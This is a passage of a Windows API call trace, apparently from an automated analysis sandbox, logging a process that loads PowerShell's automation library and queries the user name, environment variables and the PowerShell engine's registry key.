lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.206] GetLastError () returned 0xcb [0063.206] SetErrorMode (uMode=0x1) returned 0x1 [0063.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd"), fInfoLevelId=0x0, lpFileInformation=0x337dd80 | out: lpFileInformation=0x337dd80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb06b58b0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xb4d86730, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb4d86730, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.206] GetLastError () returned 0xcb [0063.206] SetErrorMode (uMode=0x1) returned 0x1 [0063.207] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.207] GetLastError () returned 0xcb [0063.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.208] GetLastError () returned 0xcb [0063.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.208] GetLastError () returned 0xcb [0063.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.208] GetLastError () returned 0xcb [0063.237] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e948 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e948) returned 0x1 [0063.237] GetLastError () returned 0xcb [0063.237] GetUserNameW (in: lpBuffer=0x257278, pcbBuffer=0x14e950 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e950) returned 1 [0063.238] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3395ee0*="Available", lpRawData=0x3395d9c) returned 1 [0063.238] GetLastError () returned 0x0 [0063.239] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.239] GetLastError () returned 0xcb [0063.240] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.240] GetLastError () returned 0xcb [0063.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.252] GetLastError () returned 0xcb [0063.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.252] GetLastError () returned 0xcb [0063.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.252] GetLastError () returned 0xcb [0063.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.255] GetLastError () returned 0xcb [0063.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.255] GetLastError () returned 0xcb [0063.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.255] GetLastError () returned 0xcb [0063.255] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0063.255] GetLastError () returned 0xcb [0063.255] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0063.255] GetLastError () returned 0xcb [0063.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.255] GetLastError () returned 0xcb [0063.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetCurrentProcessId () returned 0x890 [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.256] GetLastError () returned 0xcb [0063.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.257] GetLastError () returned 0xcb [0063.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.257] GetLastError () returned 0xcb [0063.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e368, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.257] GetLastError () returned 0xcb [0063.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e368, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.257] GetLastError () returned 0xcb [0063.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.257] GetLastError () returned 0xcb [0063.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e368, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.257] GetLastError () returned 0xcb [0063.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e368, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.257] GetLastError () returned 0xcb [0063.258] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.258] GetLastError () returned 0xcb [0063.258] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.258] GetLastError () returned 0xcb [0063.258] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.258] GetLastError () returned 0xcb [0063.258] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e8dc | out: phkResult=0x14e8dc*=0x3b0) returned 0x0 [0063.258] RegQueryValueExW (in: hKey=0x3b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e924, lpData=0x0, lpcbData=0x14e920*=0x0 | out: lpType=0x14e924*=0x1, lpData=0x0, lpcbData=0x14e920*=0x56) returned 0x0 [0063.258] RegQueryValueExW (in: hKey=0x3b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e924, lpData=0x257278, lpcbData=0x14e920*=0x56 | out: lpType=0x14e924*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e920*=0x56) returned 0x0 [0063.259] RegCloseKey (hKey=0x3b0) returned 0x0 [0063.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.259] GetLastError () returned 0xcb [0063.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.259] GetLastError () returned 0xcb [0063.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e37c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.259] GetLastError () returned 0xcb [0063.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e3b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.259] GetLastError () returned 0xcb [0063.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.260] GetLastError () returned 0xcb [0063.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.260] GetLastError () returned 0xcb [0063.297] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.297] GetLastError () returned 0xcb [0063.297] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.297] GetLastError () returned 0xcb [0063.297] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.297] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.298] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.298] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb 